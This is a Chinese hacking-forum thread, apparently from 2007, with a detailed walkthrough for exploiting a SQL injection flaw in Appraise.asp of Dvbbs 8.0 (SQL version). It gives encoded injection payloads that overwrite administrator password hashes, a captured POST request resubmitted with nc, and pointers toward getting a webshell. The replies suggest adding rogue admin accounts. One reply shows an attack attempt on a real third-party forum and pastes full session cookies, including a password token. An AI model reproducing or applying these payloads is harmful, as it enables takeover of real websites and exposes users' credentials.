发新话题
打印

[原创]动网8.0最新远程注入漏洞来了

[原创]动网8.0最新远程注入漏洞来了

题目:动网8.0最新远程注入漏洞来了
文章作者:hackest [H.S.T]

文章难易度:★★★
文章阅读点:动网8.0SQL版注入漏洞详细利用

此文章已发表在《黑客X档案》第9期杂志上
后由作者友情提交到邪恶八进制论坛,转载请保留此信息!

话说动网自从8.0版本推出来后,就很少再暴高危漏洞,累得我等菜菜面对动网8.0而束手无策!好在,老天开眼,终于又暴出了一个非常严重的远程注入漏洞,不过只限于SQL版本才有效,Access版本的不受影响。出问题的文件是Appraise.asp,该漏洞允许直接更改管理员密码,不过操作上可能会让大家觉得不太方便。为了测试该漏洞的详细利用,我在本机架设了一个动网8.0 SQL版本的论坛。架好测试环境后就可以测试漏洞了,已知管理员的用户名(admin)和密码(admin888)。首先注册一个用户名和密码均为 hackest的普通用户,然后登录论坛,接着随便找一个版块发主题帖。发完帖子后,在返回的帖子浏览页面右下方点击“点击参与评论”,如图1。进入评论页面,如图2.

图1

图2
然后打开抓包工具Winsock Expert准备抓包,如图3.

图3
然后在评论页面随便填些内容,验证码别填错就行了,再点击“发表评论”提交评论,提示成功,点击确定后返回到抓包工具发现已经抓到了我们所需要的信息,如图4.
图4
然后再将截获的数据包含POST字段的内容(即ID为1这项框里的全部内容)全选复制保存到一个名为test.txt的文本文件。接下来的操作可能会有点复杂,因为我们需要构造一下这个数据包再用NC提交。我们要先构造一下注入语句,例如要更改管理员用户的前台登录密码可以这样构造:
%3Bdeclare+@a+sysname+select
+@a%3D0x6500650065003000310063003900610062003700320036003700660032003500
+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1
这段代码的原形为:
;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_user set userpassword=@a where userid=1
这个语句的大致意思是把dv_user表里userid=1的用户密码字段userpassword更改为hackest(其中的0x6500650065003000310063003900610062003700320036003700660032003500是这样转换出来的:先把字符hackest加密成16的MD5散列eee01c9ab7267f25,再用转换工具把eee01c9ab7267f25转换成 SQL_En字符即可),
如图5

如图6

之所以要这样变形是为了绕过动网8.0的过滤,要是觉得难以理解可以多看几次然后动手实践一下即可明白。把我们构造的变形过的注入语句:●%3Bdeclare+@a+sysname+select+@a%3D0x650065006500300031006300390061006200
3700320036003700660032003500 +update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1●插入到test.txt里的最后一行的topicid=1后面,然后计算一下数据包所增加的字符数(原数据包长度为90,现在增加的字符数为152,加起来就是242),所以把 Content-Length后面的90改为242再保存。这里要注意的是操作一定要细心点,因为如果算错数据包长度,用NC提交的时候会不成功的。在执行NC提交操作前,我们先来看下dv_user表里的admin的userpassword字段为469e80d32c0559f8,如图7.
图7
接下来就是用NC提交数据包了,把nc.exe和test.txt放在同一个目录下(我这里是放在C盘根目录下),然后执行●nc 127.0.0.1 80●,如图8
图8
看到这样的返回信息,如无意外就已经成功更改了管理员admin的前台登录密码了。由于我是本机架设的测试环境,可以极方便的查看数据的变动。先去看看成功了没有,明显已经成功了。userpassword已经由原来的admin888的16位MD5(469e80d32c0559f8)变成了 hackest的16位MD5(eee01c9ab7267f25),如图9。
图9
该漏洞测试成功了,但在实际入侵中,我们还需要更改管理员的后台登录密码才能进入后台从而拿到Webshell。不过刚才的操作只是更改了管理员的前台登录密码,我们可以构造如下数据包更改管理员的后台登录密码:
%3Bdeclare+@a+sysname+select
+@a%3D0x6500650065003000310063003900610062003700320036003700660032003500
+update+dv%5Fadmin+set+password%3D@a+where+id%3D1
原形即为:
;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_admin set password=@a where id=1
就是语句变了下,同样也是插入到test.txt里的最后一行的topicid=1后面再保存。然后再NC提交,也会返回类似于图8的信息。提交我们发现admin的后台登录密码已成功更改,如图10
图10
使用新密码可以成功登录后台,如图11。
图11
漏洞的手工测试就完毕了,可能菜菜们都觉得这样太麻烦了,有没有相关的利用工具呢。答案是肯定的,牛人们早已写出发利用工具,界面如图12
要填写的相关信息同样也需要抓包获取,其中包括URL、BoardID、TopicID、AnnounceID、验证码(acodestr)、Cookie等,抓包操作前面已提过。抓到的包内容类似下面这段数据:
POST /Appraise.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*
Referer: http://127.0.0.1/dispbbs.asp?boardID=1&ID=1&page=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: w0802=2; rtime=1; ltime=1187503483390; w08_eid=57689537-http%3A//127.0.0.1/index.asp%3Fboardid%3D1; DvForum=UserID=2&usercookies=0&StatUserID=4086140&userclass=
%D0%C2%CA%D6%C9%CF%C2%B7&username=hackest&password=v0qdt2f765U6x7J5&userhidden=2; geturl=%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDSSSRRQBQ=BJNDBJNDBOIJFNGJPDACBOEK; upNum=0; Dvbbs=baffbdfhbe; ASPSESSIONIDQQQRSRAQ=EINNNCODGHHIAFNHDPMKMNED; ASPSESSIONIDQSQRTRAQ=COHBEOODEFPDCNKKBPAPKCMF
boardid=1&topicid=1&announceid=1&atype=0&a1=0&a2=0&atitle=test&acodestr=8598&acontent=test

参照里面的内容就可以填写所需数据了,填好后在SQL Injection栏里填入●;declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800
update dv_admin set password=@a where id=1●(这里是把密码改成admin888),然后点一下旁边的“编码”小按钮(即完成变形过程)再提交,如图13。就会发现管理员的后台登录密码同样也被更改成admin888了,如图14
至此,这个漏洞的测试过程就完毕了,操作上可能会复杂一点。至于进了后台如何拿Webshell,大家请参考上期的“动网8.0后台Webshell大作战”一文中介绍的方法。
(文章中涉及到的工具Winsock Expert、nc、动网8.0sql最新漏洞利用工具已经收录在光盘中)
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

文章很详细的说

小雕快成动网SQL版的终结者了..一次发了那么多漏洞 估计它们又要忙了

文章有个地方有点问题
如图1。 img: 进入评论页面,如图2.[img]http://www.hackest.cn/images/20/1.jpg
这个地方的连接是连续的.请楼主或管理员稍做修改.

还有一个问题想问楼主.既然能改它的后台管理密码和前台管理密码那是否能改它的admin?
否则若管理员改变了帐户名我们光改密码不是在浪费时间吗?

TOP

小雕是who?
链接改好了

呃,其实都有SQL注入权限,要怎么改是看你心情的了
不喜欢改他管理员的密码可以直接加一个也行的
这个完全看你个人偏好的了
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

楼上的  你要会活学活用  要不然什么时候才能成为高手啊  
既然可以修改管理员的密码  那么加一个管理员用户也可以呀

TOP

楼主厉害,这种漏洞都发现得了
据说DV8现在还有2个注入还有一个直接拿WEBSHELL的。。
一个SB的好些东西一扔出去文章就出来了,挺快的,呵呵。

TOP

看过这篇文章
应该是来自<黑客x档案>吧
已知管理员的用户名(admin)和密码(admin888)。
现在还有用这样的么?好象都不会了啊?有点没明白

TOP

引用:
引用第5楼heekey于2007-10-24 09:40发表的 :
看过这篇文章
应该是来自<黑客x档案>吧
已知管理员的用户名(admin)和密码(admin888)。
现在还有用这样的么?好象都不会了啊?有点没明白
嗯,是《黑客X档案》呢
汗,我是举例说明这个漏洞怎么利用罢了
即演示下怎么改管理员的密码嘛,汗
不会这样都没看明白吧……郁闷哦……
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

漏洞是sobiny牛发现的 ,记的暑假的一天晚上发出来,第2天就出现了几篇介绍的文章....hoho~~~

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_user set userpassword=@a where userid=1



请问一下这个注入语句中的 @a中的a是什么意思

另外@a=0x6500650065003000310063003900610062003700320036003700660032003500
这一长串的16进制数字是什么意思
汤武喜相逢,风虎云龙!

TOP

请问一下这个注入语句中的 @a中的a是什么意思

另外@a=0x6500650065003000310063003900610062003700320036003700660032003500
这一长串的16进制数字是什么意思

varchar是非 Unicode 的字符数据;nvarchar是Unicode 数据,所以还要重新编码成长的十六进制:
用户名“oldjun”编码以后是:0x6F006C0064006A0075006E00
密码“12345678”编码以后是:0x3800330061006100340030003000610066003400360034006300370036006400

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

我试了一下,好像不可以了!!!!
我的信息如下:
POST /Appraise.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.bjdiaoyu.com/dispbbs. ... ID=89095&page=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: www.bjdiaoyu.com
Content-Length: 97
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: _ourplusFirstTime=2007-9-13-17-30-38; _ourplusReturnTime=2007-12-21-9-29-31; _ourplusReturnCount=66; upload=1; topic=1; preview=; style=null; rtime=26; ltime=1198224463312; w08_eid=83782807-; List=list43=0&list17=0&list64=0&list52=0&list65=0&list19=0&list12=0&list25=0&list54=0&list67=0&list66=0; w0802=62; DvForum=UserID=15554&usercookies=3&StatUserID=2198798577&userclass=%D0%A1%B7%C9%B5%F6%CF%C0&username=%D2%BB%C1%BD%BB%A8%C9%FA%B6%B9&password=3N152T6gfa3D4h8a&userhidden=2; geturl=%2Fdispbbs%2Easp%3FboardID%3D1%26ID%3D89095%26page%3D1; ASPSESSIONIDCSDCBCDT=JONPBFLBHOLMPLGACBFEJOPB; Dvbbs=efidficfc; _ourplusFirstTime=2007-11-7-11-3-48; _ourplusReturnTime=2007-12-18-13-31-1; rtime=1; ltime=1197955867374; w08_eid=48393354-http%3A//www.bjdiaoyu.com/dispbbs.asp%3FboardID%3D1%26ID%3D87196%26page%3D1; _ourplusReturnCount=2

boardid=1&topicid=89095&announceid=400502&atype=0&a1=0&a2=0&atitle=en&acodestr=9530&acontent=side
然后我填的是:
www.bjdiaoyu.com/ 1 89095 400502 9530

Cookie: _ourplusFirstTime=2007-9-13-17-30-38; _ourplusReturnTime=2007-12-21-9-29-31; _ourplusReturnCount=66; upload=1; topic=1; preview=; style=null; rtime=26; ltime=1198224463312; w08_eid=83782807-; List=list43=0&list17=0&list64=0&list52=0&list65=0&list19=0&list12=0&list25=0&list54=0&list67=0&list66=0; w0802=62; DvForum=UserID=15554&usercookies=3&StatUserID=2198798577&userclass=%D0%A1%B7%C9%B5%F6%CF%C0&username=%D2%BB%C1%BD%BB%A8%C9%FA%B6%B9&password=3N152T6gfa3D4h8a&userhidden=2; geturl=%2Fdispbbs%2Easp%3FboardID%3D1%26ID%3D89095%26page%3D1; ASPSESSIONIDCSDCBCDT=JONPBFLBHOLMPLGACBFEJOPB; Dvbbs=efidficfc; _ourplusFirstTime=2007-11-7-11-3-48; _ourplusReturnTime=2007-12-18-13-31-1; rtime=1; ltime=1197955867374; w08_eid=48393354-http%3A//www.bjdiaoyu.com/dispbbs.asp%3FboardID%3D1%26ID%3D87196%26page%3D1; _ourplusReturnCount=2


;declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800
update dv_admin set password=@a where id=1
编码后为:

%3Bdeclare%20%40a%20sysname%20select%20%40a%3D0x3400360039006500380030006400330032006300300035003500390066003800%0D%0Aupdate%20dv%5Fadmin%20set%20password%3D%40a%20where%20id%3D1%0D%0A
提交后返回的结果是:
HTTP/1.1 200 OK
Date: Fri, 21 Dec 2007 08:10:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 148
Content-Type: text/html
Cache-control: private

<script language=&#39;javascript&#39;>parent.document.getElementById(&#39;GetCodeErr&#39;).innerHTML=&#39;<font color=\"red\">←验证码错误,请重新输入</font>&#39;;</script>
有时结果还会是:
该主题不存在或是已删除,这样的提示,是不是这个漏洞没了啊??????

TOP

8.1的都出了楼上的还在测试???
故事其实并没结束 只是我们在等待-----

TOP

老大。

8.1难道继承8.0的漏洞。

哈哈!

TOP

老大们!不是8.1!是Powered By Dvbbs Version 8.0.0sp1

TOP

发新话题